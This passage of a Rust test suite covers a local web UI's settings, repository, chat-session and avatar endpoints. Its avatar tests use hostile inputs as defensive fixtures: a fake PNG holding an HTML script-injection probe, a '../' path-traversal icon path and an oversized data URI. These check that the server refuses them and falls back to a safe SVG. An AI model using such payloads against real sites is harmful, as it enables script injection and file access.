10329 assert!(!conductor.editable);
10330 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
10331 assert_eq!(
10332 judges.count.as_ref().unwrap().machine_value,
10333 Some(toml::Value::Integer(1))
10334 );
10335 assert!(
10336 !v.roles
10337 .iter()
10338 .find(|r| r.key == "reviewers")
10339 .unwrap()
10340 .editable
10341 );
10342 let unknown = || {
10343 Query(SettingsQuery {
10344 repo: Some(tmp.path().to_path_buf()),
10345 })
10346 };
10347 assert_eq!(
10348 settings_get(State(ui.clone()), unknown())
10349 .await
10350 .unwrap_err()
10351 .status,
10352 StatusCode::UNPROCESSABLE_ENTITY
10353 );
10354 let body = || {
10355 Ok(Json(RolesBody {
10356 revision: v.revision.clone(),
10357 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
10358 counts: Default::default(),
10359 }))
10360 };
10361 assert_eq!(
10362 settings_put_roles(State(ui.clone()), unknown(), body())
10363 .await
10364 .unwrap_err()
10365 .status,
10366 StatusCode::UNPROCESSABLE_ENTITY
10367 );
10368 assert_eq!(std::fs::read(&machine).unwrap(), before);
10369 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
10370 .await
10371 .unwrap();
10372 assert_eq!(
10373 saved.repo,
10374 selected.canonicalize().unwrap().display().to_string()
10375 );
10376 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
10377 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
10378 let fresh = root.join("host/owner/fresh");
10380 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
10381 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
10382 .await
10383 .unwrap();
10384 assert_eq!(fresh_view.repositories.len(), 3);
10385 }
10386
10387 #[tokio::test]
10388 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
10389 let (tmp, repo, machine) = settings_dirs(
10390 "[roles]\nreviewers = [\"a\"]\n",
10391 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
10392 );
10393 let root = tmp.path().join("roots");
10394 let selected = root.join("host/owner/selected");
10395 settings_checkout(
10396 &selected,
10397 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
10398 )
10399 .await;
10400 let broken = root.join("host/owner/broken");
10401 settings_checkout(&broken, "[roles\nbroken").await;
10402 let machine_text = format!(
10403 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
10404 toml::Value::String(root.display().to_string())
10405 );
10406 std::fs::write(&machine, &machine_text).unwrap();
10407 let originals: Vec<_> = [&repo, &selected, &broken]
10408 .iter()
10409 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
10410 .collect();
10411 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
10412 let default = f.get("/api/settings").await.json();
10413 assert_eq!(
10414 default["repo"],
10415 repo.canonicalize().unwrap().display().to_string()
10416 );
10417 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
10418 let query = format!("?repo={}", selected.display());
10419 let res = f.get(&format!("/api/settings{query}")).await;
10420 assert_eq!(res.status, 200, "{}", res.body);
10421 let v = res.json();
10422 assert!(v["error"].is_null(), "{v}");
10423 assert_eq!(v["repositories"], default["repositories"]);
10424 let role = |key: &str| {
10425 v["roles"]
10426 .as_array()
10427 .unwrap()
10428 .iter()
10429 .find(|r| r["key"] == key)
10430 .unwrap()
10431 };
10432 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
10433 assert_eq!(role("advisors")["source"], "repo");
10434 assert_eq!(role("advisors")["editable"], false);
10435 assert!(role("advisors")["machine_value"].is_null());
10436 assert_eq!(role("judges")["count"]["value"], 2);
10437 assert_eq!(role("judges")["count"]["machine_value"], 1);
10438 assert_eq!(role("judges")["count"]["source"], "repo");
10439 let source = role("judges")["count"]["source_path"].as_str().unwrap();
10440 assert!(
10441 source.contains("origin/main") && !source.contains("magi/config/"),
10442 "{source}"
10443 );
10444 assert_eq!(
10445 role("reviewers")["editable"],
10446 false,
10447 "default context outside roots must protect its declarations"
10448 );
10449 let body =
10450 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
10451 let unknown = format!("?repo={}", tmp.path().display());
10452 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
10453 assert_eq!(
10454 f.put(&format!("/api/settings/roles{unknown}"), &body)
10455 .await
10456 .status,
10457 422
10458 );
10459 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
10460 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
10461 .to_string();
10462 assert_eq!(
10463 f.put(&format!("/api/settings/roles{query}"), &refuse)
10464 .await
10465 .status,
10466 422
10467 );
10468 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
10469 assert_eq!(saved.status, 200, "{}", saved.body);
10470 assert_eq!(saved.json()["repo"], v["repo"]);
10471 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
10472 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
10473 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
10474 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
10475 }
10476 let error = f
10477 .get(&format!("/api/settings?repo={}", broken.display()))
10478 .await;
10479 assert_eq!(error.status, 200);
10480 assert!(error.json()["error"]["message"].is_string());
10481 assert_eq!(error.json()["repositories"], default["repositories"]);
10482 }
10483
10484 #[tokio::test]
10485 async fn settings_get_reports_sources_and_the_advisors_fallback() {
10486 let (_tmp, repo, machine) =
10487 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
10488 let f = Fixture::with_repo_and_machine(repo, machine).await;
10489 let res = f.get("/api/settings").await;
10490 assert_eq!(res.status, 200, "{}", res.body);
10491 let v = res.json();
10492 assert!(v["error"].is_null(), "{v}");
10493 let role = |k: &str| {
10494 v["roles"]
10495 .as_array()
10496 .and_then(|r| r.iter().find(|x| x["key"] == k))
10497 .cloned()
10498 .unwrap_or_else(|| panic!("no role {k}: {v}"))
10499 };
10500 assert_eq!(role("judges")["source"], "machine");
10501 assert_eq!(role("judges")["editable"], true);
10502 assert_eq!(role("implementers")["source"], "default");
10503 let adv = role("advisors");
10504 assert_eq!(adv["fallback"], "judges");
10505 assert!(
10506 adv["seats"]
10507 .as_array()
10508 .is_some_and(|s| s.iter().all(|x| x == "b")),
10509 "{adv}"
10510 );
10511 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
10512 assert_eq!(v["agents"][0]["source"], "repo");
10513 }
10514
10515 #[tokio::test]
10516 async fn settings_get_reports_a_config_that_does_not_parse() {
10517 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
10518 let f = Fixture::with_repo_and_machine(repo, machine).await;
10519 let res = f.get("/api/settings").await;
10520 assert_eq!(res.status, 200, "{}", res.body);
10521 let v = res.json();
10522 assert!(v["error"]["message"].is_string(), "{v}");
10523 assert!(
10524 v["error"]["path"]
10525 .as_str()
10526 .is_some_and(|p| p.ends_with("magi.toml")),
10527 "{v}"
10528 );
10529 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
10530 }
10531
10532 #[tokio::test]
10533 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
10534 let (_tmp, repo, machine) = settings_dirs(
10535 SETTINGS_AGENTS,
10536 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
10537 );
10538 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
10539 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
10540 let rev = f.get("/api/settings").await.json()["revision"]
10541 .as_str()
10542 .expect("revision")
10543 .to_owned();
10544 let body = serde_json::json!({
10545 "revision": rev,
10546 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
10547 })
10548 .to_string();
10549 let res = f.put("/api/settings/roles", &body).await;
10550 assert_eq!(res.status, 200, "{}", res.body);
10551 let text = std::fs::read_to_string(&machine).expect("machine");
10552 assert_eq!(
10553 text,
10554 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
10555 );
10556 assert_eq!(
10557 std::fs::read(repo.join("magi.toml")).expect("read"),
10558 repo_before
10559 );
10560 let again = f.get("/api/settings").await.json();
10561 let judges = again["roles"]
10562 .as_array()
10563 .expect("roles")
10564 .iter()
10565 .find(|r| r["key"] == "judges")
10566 .expect("judges")
10567 .clone();
10568 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
10569 let stale = f.put("/api/settings/roles", &body).await;
10571 assert_eq!(stale.status, 409, "{}", stale.body);
10572 }
10573
10574 #[tokio::test]
10575 async fn settings_counts_are_reported_and_saved() {
10576 let (_tmp, repo, machine) = settings_dirs(
10577 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
10578 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
10579 );
10580 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
10581 let v = f.get("/api/settings").await.json();
10582 let count = |v: &serde_json::Value, k: &str| {
10583 v["roles"]
10584 .as_array()
10585 .and_then(|r| r.iter().find(|x| x["key"] == k))
10586 .map(|x| x["count"].clone())
10587 .unwrap_or_else(|| panic!("no role {k}: {v}"))
10588 };
10589 let imp = count(&v, "implementers");
10590 assert_eq!(imp["value"], 2);
10591 assert_eq!(imp["source"], "machine");
10592 assert_eq!(imp["file_key"], "candidates");
10593 assert_eq!(imp["roster_len"], 2);
10594 assert_eq!(imp["backups"], 0);
10595 assert_eq!(count(&v, "judges")["source"], "default");
10596 assert_eq!(count(&v, "advisors")["min"], 0);
10597 assert_eq!(count(&v, "reviewers")["editable"], false);
10598 assert!(
10599 count(&v, "reviewers")["locked_reason"]
10600 .as_str()
10601 .is_some_and(|m| m.contains("graph.reviewers"))
10602 );
10603 assert!(count(&v, "fixer").is_null());
10604 let rev = v["revision"].as_str().expect("revision").to_owned();
10605 let body = serde_json::json!({
10606 "revision": rev,
10607 "roles": { "judges": ["b"] },
10608 "counts": { "implementers": 1, "advisors": 0 }
10609 })
10610 .to_string();
10611 let res = f.put("/api/settings/roles", &body).await;
10612 assert_eq!(res.status, 200, "{}", res.body);
10613 let text = std::fs::read_to_string(&machine).expect("machine");
10614 assert_eq!(
10615 text,
10616 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
10617 );
10618 let after = f.get("/api/settings").await.json();
10619 assert_eq!(count(&after, "implementers")["value"], 1);
10620 assert_eq!(count(&after, "implementers")["backups"], 1);
10621 assert_eq!(count(&after, "advisors")["value"], 0);
10622 let before = std::fs::read_to_string(&machine).expect("machine");
10623 let rev = after["revision"].as_str().expect("revision").to_owned();
10624 for counts in [
10625 serde_json::json!({ "judges": 0 }),
10626 serde_json::json!({ "judges": "x" }),
10627 serde_json::json!({ "judges": 2.5 }),
10628 serde_json::json!({ "judges": -1 }),
10629 serde_json::json!({ "reviewers": 3 }),
10630 serde_json::json!({ "bogus": 3 }),
10631 ] {
10632 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
10633 let res = f.put("/api/settings/roles", &body).await;
10634 assert_eq!(res.status, 422, "{counts}: {}", res.body);
10635 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
10636 }
10637 }
10638
10639 #[tokio::test]
10640 async fn settings_put_refuses_without_touching_the_file() {
10641 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
10642 let (_tmp, repo, machine) = settings_dirs(
10643 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
10644 Some(machine_text),
10645 );
10646 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
10647 let rev = f.get("/api/settings").await.json()["revision"]
10648 .as_str()
10649 .expect("revision")
10650 .to_owned();
10651 for roles in [
10652 serde_json::json!({ "judges": ["nope"] }),
10653 serde_json::json!({ "reviewers": ["b"] }),
10654 serde_json::json!({ "bogus": ["a"] }),
10655 ] {
10656 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
10657 let res = f.put("/api/settings/roles", &body).await;
10658 assert_eq!(res.status, 422, "{roles}: {}", res.body);
10659 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
10660 assert_eq!(
10661 std::fs::read_to_string(&machine).expect("machine"),
10662 machine_text
10663 );
10664 }
10665 }
10666
10667 #[tokio::test]
10668 async fn repos_list_returns_name_and_path_for_every_configured_root() {
10669 let tmp = TempDir::new().expect("tempdir");
10670 let repo = tmp.path().join("repo");
10671 std::fs::create_dir_all(&repo).expect("repo dir");
10672 let root = tmp.path().join("root");
10673 make_checkout(&root, "github.com", "yukimemi", "magi");
10674 std::fs::write(
10675 repo.join("magi.toml"),
10676 format!(
10677 "[repos]\nroots = [{:?}]\n",
10678 root.to_string_lossy().into_owned()
10679 ),
10680 )
10681 .expect("write magi.toml");
10682
10683 let f = Fixture::with_repo(repo).await;
10684 let res = f.get("/api/repos").await;
10685 assert_eq!(res.status, 200, "{}", res.body);
10686 let list = res.json();
10687 let repos = list.as_array().expect("an array");
10688 assert_eq!(repos.len(), 1);
10689 assert_eq!(repos[0]["name"], "yukimemi/magi");
10690 assert!(
10691 repos[0]["path"]
10692 .as_str()
10693 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
10694 "{list}"
10695 );
10696 }
10697
10698 #[tokio::test]
10699 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
10700 let tmp = TempDir::new().expect("tempdir");
10701 let repo = tmp.path().join("repo");
10702 std::fs::create_dir_all(&repo).expect("repo dir");
10703 let root = tmp.path().join("root");
10704 make_checkout(&root, "github.com", "yukimemi", "magi");
10705 std::fs::write(
10706 repo.join("magi.toml"),
10707 format!(
10708 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
10709 root.to_string_lossy().into_owned()
10710 ),
10711 )
10712 .expect("write magi.toml");
10713
10714 let f = Fixture::with_repo(repo).await;
10715 let first = f.get("/api/repos").await;
10716 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
10717
10718 make_checkout(&root, "github.com", "yukimemi", "rvpm");
10721 let second = f.get("/api/repos").await;
10722 assert_eq!(
10723 second.json().as_array().map(Vec::len),
10724 Some(1),
10725 "a fresh cache must not rescan inside the TTL"
10726 );
10727
10728 let refreshed = f.get("/api/repos?refresh=1").await;
10729 assert_eq!(
10730 refreshed.json().as_array().map(Vec::len),
10731 Some(2),
10732 "an explicit refresh must rescan even inside the TTL"
10733 );
10734 }
10735
10736 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
10742
10743 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
10747 let tmp = TempDir::new().expect("tempdir");
10748 let repo = tmp.path().join("repo");
10749 std::fs::create_dir_all(&repo).expect("repo dir");
10750 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10751 let f = Fixture::with_repo(repo.clone()).await;
10752 (tmp, repo, f)
10753 }
10754
10755 #[tokio::test]
10756 async fn posting_a_talk_with_remembered_choices_is_soft() {
10757 let (_tmp, _repo, f) = talk_fixture().await;
10758
10759 let good = f
10760 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
10761 .await;
10762 assert_eq!(good.status, 201, "{}", good.body);
10763 assert_eq!(good.json()["persona"], "rei");
10764
10765 let stale = f
10767 .post(
10768 "/api/talks",
10769 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
10770 )
10771 .await;
10772 assert_eq!(stale.status, 201, "{}", stale.body);
10773 let v = stale.json();
10774 assert_eq!(v["implementers"], 1);
10775 assert_ne!(v["persona"], "nobody");
10776 let typed = f
10777 .post(
10778 "/api/talks",
10779 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
10780 )
10781 .await;
10782 assert_eq!(typed.status, 201, "{}", typed.body);
10783
10784 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
10786 assert!(
10787 !strict.status.to_string().starts_with('2'),
10788 "{}",
10789 strict.body
10790 );
10791 }
10792
10793 #[tokio::test]
10794 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
10795 let (_tmp, _repo, f) = talk_fixture().await;
10796
10797 let opened = f.post("/api/talks", None).await;
10800 assert_eq!(opened.status, 201, "{}", opened.body);
10801 let body = opened.json();
10802 assert_eq!(body["status"], "open");
10803 assert_eq!(
10804 body["turns"].as_array().unwrap().len(),
10805 0,
10806 "opening takes no agent turn: there is nothing yet to answer"
10807 );
10808
10809 let also_opened = f.post("/api/talks", Some("{}")).await;
10811 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
10812
10813 let listed = f.get("/api/talks").await.json();
10814 assert_eq!(listed.as_array().unwrap().len(), 2);
10815 }
10816
10817 #[tokio::test]
10818 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
10819 let tmp = TempDir::new().expect("tempdir");
10820 let repo = tmp.path().join("repo");
10821 std::fs::create_dir_all(&repo).expect("repo dir");
10822 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
10823 std::fs::write(
10824 repo.join("magi.toml"),
10825 format!("{MOCK_AGENT_TOML}\n{second}"),
10826 )
10827 .expect("write magi.toml");
10828 let home = TempDir::new().expect("temp home");
10829 let talks = Talks::at(home.path().join("talks"));
10830 let ui = Arc::new(
10831 Ui::new(
10832 Queue::at(home.path().join("queue")),
10833 Questions::at(home.path().join("questions")),
10834 talks.clone(),
10835 home.path().join("runs"),
10836 home.path().to_path_buf(),
10837 repo.clone(),
10838 )
10839 .with_worktrees_root(home.path().join("wt")),
10840 );
10841 let cfg = config_for(&repo).await.expect("discover config");
10842 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10843 let id = talk.id.clone();
10844 let call = |agent: &str| {
10845 talk_agent(
10846 State(Arc::clone(&ui)),
10847 Path(id.clone()),
10848 Json(TalkAgent {
10849 agent: agent.to_owned(),
10850 }),
10851 )
10852 };
10853
10854 let unknown = call("nobody").await.expect_err("unknown agent");
10855 assert_eq!(
10856 unknown.status,
10857 StatusCode::BAD_REQUEST,
10858 "{}",
10859 unknown.message
10860 );
10861
10862 {
10863 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10866 let busy = call("second").await.expect_err("busy talk");
10867 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10868 assert!(
10869 busy.message.contains("a talk turn is running"),
10870 "{}",
10871 busy.message
10872 );
10873 drop(guard);
10874 }
10875 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
10876
10877 let Json(view) = call("second").await.expect("switch");
10878 assert_eq!(view.talk.agent, "second");
10879 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
10880 let saved = talks.get(&id).expect("reload");
10881 assert_eq!(saved.agent, "second");
10882 assert_eq!(saved.turns.len(), 1);
10883 assert!(!view.thinking);
10884 assert!(!ui.is_thinking(&id), "idle response must release the claim");
10885 for agent in ["mock", "second"] {
10886 let Json(view) = call(agent).await.expect("immediate consecutive change");
10887 assert_eq!(view.talk.agent, agent);
10888 assert!(!view.thinking);
10889 assert!(!ui.is_thinking(&id));
10890 }
10891
10892 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10893 .await
10894 .expect("detail");
10895 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
10896 assert_eq!(roster, ["mock", "second"]);
10897
10898 let mut closed = talks.get(&id).expect("reload");
10899 talk::close(&mut closed, &talks).expect("close");
10900 let refused = call("mock").await.expect_err("closed talk");
10901 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
10902 assert!(
10903 refused.message.contains("takes no more turns"),
10904 "{}",
10905 refused.message
10906 );
10907 }
10908
10909 #[tokio::test]
10910 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
10911 let tmp = TempDir::new().expect("tempdir");
10912 let repo = tmp.path().join("repo");
10913 std::fs::create_dir_all(&repo).expect("repo dir");
10914 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10915 let home = TempDir::new().expect("temp home");
10916 let talks = Talks::at(home.path().join("talks"));
10917 let ui = Arc::new(
10918 Ui::new(
10919 Queue::at(home.path().join("queue")),
10920 Questions::at(home.path().join("questions")),
10921 talks.clone(),
10922 home.path().join("runs"),
10923 home.path().to_path_buf(),
10924 repo.clone(),
10925 )
10926 .with_worktrees_root(home.path().join("wt")),
10927 );
10928 let cfg = config_for(&repo).await.expect("discover config");
10929 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10930 let id = talk.id.clone();
10931 let call = |n: u8| {
10932 talk_implementers(
10933 State(Arc::clone(&ui)),
10934 Path(id.clone()),
10935 Json(TalkImplementers { implementers: n }),
10936 )
10937 };
10938
10939 for bad in [0u8, 4] {
10940 let e = call(bad).await.expect_err("out of range");
10941 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
10942 }
10943 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
10944
10945 {
10946 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10949 let busy = call(2).await.expect_err("busy talk");
10950 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10951 assert!(
10952 busy.message.contains("a talk turn is running"),
10953 "{}",
10954 busy.message
10955 );
10956 drop(guard);
10957 }
10958
10959 let Json(view) = call(3).await.expect("switch");
10960 assert_eq!(view.talk.implementers, 3);
10961 assert!(talks.get(&id).expect("reload").implementers_dirty);
10962 assert!(!view.thinking);
10963 assert!(!ui.is_thinking(&id), "idle response must release the claim");
10964 for n in [1, 2, 3] {
10965 let Json(view) = call(n).await.expect("immediate consecutive change");
10966 assert_eq!(view.talk.implementers, n);
10967 assert!(!view.thinking);
10968 assert!(!ui.is_thinking(&id));
10969 }
10970
10971 let mut closed = talks.get(&id).expect("reload");
10972 talk::close(&mut closed, &talks).expect("close");
10973 let e = call(2).await.expect_err("closed talk");
10974 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
10975 assert!(e.message.contains("takes no more turns"), "{}", e.message);
10976 }
10977
10978 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
10980 let tmp = TempDir::new().expect("tempdir");
10981 let repo = tmp.path().join("repo");
10982 std::fs::create_dir_all(&repo).expect("repo dir");
10983 std::fs::write(
10984 repo.join("magi.toml"),
10985 format!("{MOCK_AGENT_TOML}\n{extra}"),
10986 )
10987 .expect("write magi.toml");
10988 let home = TempDir::new().expect("temp home");
10989 let talks = Talks::at(home.path().join("talks"));
10990 let ui = Arc::new(
10991 Ui::new(
10992 Queue::at(home.path().join("queue")),
10993 Questions::at(home.path().join("questions")),
10994 talks.clone(),
10995 home.path().join("runs"),
10996 home.path().to_path_buf(),
10997 repo.clone(),
10998 )
10999 .with_worktrees_root(home.path().join("wt")),
11000 );
11001 let cfg = config_for(&repo).await.expect("discover config");
11002 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11003 (tmp, home, ui, talk.id, repo)
11004 }
11005
11006 async fn avatar(
11008 ui: &Arc<Ui>,
11009 id: &str,
11010 persona: Option<&str>,
11011 builtin: bool,
11012 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
11013 let res = talk_avatar(
11014 State(Arc::clone(ui)),
11015 Path(id.to_owned()),
11016 Query(AvatarQuery {
11017 persona: persona.map(str::to_owned),
11018 builtin: builtin.then(|| "1".to_owned()),
11019 }),
11020 )
11021 .await
11022 .expect("an avatar is never an error response");
11023 let h = res.headers();
11024 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
11025 let nosniff = h
11026 .get(header::X_CONTENT_TYPE_OPTIONS)
11027 .is_some_and(|v| v == "nosniff");
11028 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
11029 let status = res.status();
11030 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
11031 .await
11032 .expect("body")
11033 .to_vec();
11034 (status, ct, nosniff, csp, body)
11035 }
11036
11037 fn tiny_png() -> Vec<u8> {
11038 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
11039 b.extend_from_slice(&[0u8; 32]);
11040 b
11041 }
11042
11043 #[tokio::test]
11044 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
11045 let res = operator_avatar().await;
11046 assert_eq!(res.status(), StatusCode::OK);
11047 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
11048 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
11049 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
11050 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
11051 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
11052 .await
11053 .unwrap();
11054 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
11055 assert_ne!(
11056 persona_icon::operator_svg(),
11057 persona_icon::builtin_svg("default")
11058 );
11059 }
11060
11061 #[tokio::test]
11062 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
11063 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
11064 for p in [
11065 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
11066 ] {
11067 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
11068 assert_eq!(status, StatusCode::OK, "{p}");
11069 assert_eq!(ct, "image/svg+xml", "{p}");
11070 assert!(nosniff && csp, "{p}");
11071 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
11072 }
11073 let own = avatar(&ui, &id, None, false).await;
11075 let default = avatar(&ui, &id, Some("default"), false).await;
11076 assert_eq!(own.4, default.4);
11077 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
11078 assert_eq!(unknown.1, "image/svg+xml");
11079 }
11080
11081 #[tokio::test]
11082 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
11083 let dir = TempDir::new().expect("icons");
11084 let good = dir.path().join("good.png");
11085 std::fs::write(&good, tiny_png()).unwrap();
11086 let spoof = dir.path().join("spoof.png");
11087 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
11088 let big = dir.path().join("big.png");
11089 let mut bytes = tiny_png();
11090 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
11091 std::fs::write(&big, bytes).unwrap();
11092 let missing = dir.path().join("missing.png");
11093 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
11094 let extra = format!(
11095 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
11096 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
11097 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
11098 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
11099 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
11100 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
11101 uri(&good),
11102 uri(&spoof),
11103 uri(&big),
11104 uri(&missing),
11105 );
11106 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
11107
11108 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
11109 assert_eq!(
11110 (status, ct.as_str(), nosniff),
11111 (StatusCode::OK, "image/png", true)
11112 );
11113 assert_eq!(body, tiny_png());
11114 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
11115 assert_eq!(ct, "image/png", "data URI");
11116
11117 for p in ["misato", "asuka", "shinji", "magi"] {
11118 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
11119 assert_eq!(
11120 (status, ct.as_str(), csp),
11121 (StatusCode::OK, "image/svg+xml", true),
11122 "{p}"
11123 );
11124 assert!(body.starts_with(b"<svg"), "{p}");
11125 }
11126 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
11128 assert_eq!(ct, "image/svg+xml");
11129 }
11130
11131 #[tokio::test]
11132 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
11133 let oversized = format!(
11134 "data:image/png;base64,{}",
11135 "A".repeat(persona_icon::ICON_MAX_BYTES)
11136 );
11137 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
11138 let extra = format!(
11139 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
11140 );
11141 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
11142 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11143 .await
11144 .expect("detail with invalid icon");
11145 assert!(detail.personas.iter().any(|p| p.id == "custom"));
11146 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
11147 assert_eq!(status, StatusCode::OK);
11148 assert_eq!(ct, "image/svg+xml");
11149 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
11150 let Json(view) = talk_persona(
11151 State(Arc::clone(&ui)),
11152 Path(id.clone()),
11153 Json(TalkPersona {
11154 persona: "custom".into(),
11155 }),
11156 )
11157 .await
11158 .expect("persona switch with invalid icon");
11159 assert_eq!(view.talk.persona, "custom");
11160 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
11161 }
11162 }
11163
